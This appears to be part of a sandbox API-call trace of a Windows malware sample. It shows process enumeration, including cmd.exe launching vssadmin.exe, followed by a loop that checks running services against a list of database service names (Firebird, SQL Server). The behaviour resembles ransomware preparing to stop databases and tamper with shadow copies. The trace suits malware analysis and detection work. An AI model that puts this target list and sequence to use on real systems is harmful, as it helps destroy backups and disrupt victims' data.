	[0099.119] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0099.120] lstrlenW (lpString="skirt_races.exe") returned 15
	[0099.120] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0099.120] lstrlenW (lpString="actors_radius.exe") returned 17
	[0099.121] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0099.121] lstrlenW (lpString="scheduling.exe") returned 14
	[0099.121] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0099.122] lstrlenW (lpString="michael.exe") returned 11
	[0099.122] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0099.123] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0099.123] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0099.124] lstrlenW (lpString="pleasure.exe") returned 12
	[0099.124] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0099.124] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0099.124] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0099.125] lstrlenW (lpString="electron.exe") returned 12
	[0099.125] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0099.126] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0099.126] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0099.126] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0099.126] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0099.127] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0099.127] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0099.128] lstrlenW (lpString="pointer.exe") returned 11
	[0099.128] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0099.128] lstrlenW (lpString="gd logos.exe") returned 12
	[0099.129] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0099.129] lstrlenW (lpString="algebra validity.exe") returned 20
	[0099.129] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0099.130] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0099.130] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0099.130] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0099.131] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0099.131] lstrlenW (lpString="p.exe") returned 5
	[0099.131] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0099.132] lstrlenW (lpString="cmd.exe") returned 7
	[0099.132] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0099.133] lstrlenW (lpString="conhost.exe") returned 11
	[0099.133] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0099.133] lstrlenW (lpString="vssadmin.exe") returned 12
	[0099.133] Process32NextW (in: hSnapshot=0x1e4, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0099.134] CloseHandle (hObject=0x1e4) returned 1
	[0099.134] Sleep (dwMilliseconds=0x1f4) 
	[0099.860] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0cb8
	[0099.861] EnumServicesStatusExW (in: hSCManager=0x35d0cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0099.861] GetLastError () returned 0xea
	[0099.861] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x123e) returned 0x36ba4f0
	[0099.861] EnumServicesStatusExW (in: hSCManager=0x35d0cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x123e, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0099.862] CloseServiceHandle (hSCObject=0x35d0cb8) returned 1
	[0099.862] lstrlenW (lpString="Appinfo") returned 7
	[0099.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0099.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0099.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0099.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0099.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0099.862] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0099.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0099.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0099.863] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0099.863] lstrlenW (lpString="AudioSrv") returned 8
	[0099.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0099.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0099.863] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0099.863] lstrlenW (lpString="BFE") returned 3
	[0099.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0099.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0099.863] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0099.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0099.863] lstrlenW (lpString="CryptSvc") returned 8
	[0099.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0099.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0099.864] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0099.864] lstrlenW (lpString="CscService") returned 10
	[0099.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0099.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0099.864] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0099.864] lstrlenW (lpString="DcomLaunch") returned 10
	[0099.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0099.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0099.864] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0099.864] lstrlenW (lpString="Dhcp") returned 4
	[0099.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0099.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0099.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0099.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0099.864] lstrlenW (lpString="Dnscache") returned 8
	[0099.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0099.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0099.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0099.865] lstrlenW (lpString="DPS") returned 3
	[0099.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0099.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0099.865] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0099.865] lstrlenW (lpString="eventlog") returned 8
	[0099.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0099.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0099.865] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0099.865] lstrlenW (lpString="EventSystem") returned 11
	[0099.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0099.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0099.865] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0099.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0099.865] lstrlenW (lpString="gpsvc") returned 5
	[0099.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0099.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0099.866] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0099.866] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0099.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0099.866] lstrlenW (lpString="iphlpsvc") returned 8
	[0099.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0099.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0099.866] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0099.866] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0099.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0099.866] lstrlenW (lpString="LanmanServer") returned 12
	[0099.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0099.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0099.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0099.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0099.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0099.866] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0099.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0099.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0099.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0099.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0099.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0099.866] lstrlenW (lpString="lmhosts") returned 7
	[0099.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0099.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0099.866] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0099.866] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0099.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0099.867] lstrlenW (lpString="MMCSS") returned 5
	[0099.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0099.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0099.867] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0099.867] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0099.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0099.867] lstrlenW (lpString="MpsSvc") returned 6
	[0099.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0099.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0099.867] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0099.867] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0099.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0099.867] lstrlenW (lpString="Netman") returned 6
	[0099.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0099.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0099.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0099.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0099.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0099.867] lstrlenW (lpString="netprofm") returned 8
	[0099.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0099.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0099.867] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0099.868] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0099.868] lstrlenW (lpString="NlaSvc") returned 6
	[0099.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0099.868] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0099.868] lstrlenW (lpString="nsi") returned 3
	[0099.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0099.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0099.868] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0099.868] lstrlenW (lpString="PcaSvc") returned 6
	[0099.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0099.868] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0099.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0099.868] lstrlenW (lpString="PlugPlay") returned 8
	[0099.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0099.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0099.869] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0099.869] lstrlenW (lpString="Power") returned 5
	[0099.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0099.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0099.869] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0099.869] lstrlenW (lpString="ProfSvc") returned 7
	[0099.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0099.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0099.869] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0099.869] lstrlenW (lpString="RpcEptMapper") returned 12
	[0099.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0099.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0099.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0099.869] lstrlenW (lpString="RpcSs") returned 5
	[0099.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0099.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0099.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0099.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0099.869] lstrlenW (lpString="SamSs") returned 5
	[0099.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0099.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0099.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0099.870] lstrlenW (lpString="Schedule") returned 8
	[0099.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0099.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0099.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0099.870] lstrlenW (lpString="SENS") returned 4
	[0099.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0099.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0099.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0099.870] lstrlenW (lpString="ShellHWDetection") returned 16
	[0099.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0099.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0099.870] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0099.870] lstrlenW (lpString="Spooler") returned 7
	[0099.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0099.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0099.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0099.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0099.871] lstrlenW (lpString="SysMain") returned 7
	[0099.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0099.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0099.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0099.871] lstrlenW (lpString="Themes") returned 6
	[0099.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0099.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0099.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0099.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0099.871] lstrlenW (lpString="TrkWks") returned 6
	[0099.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
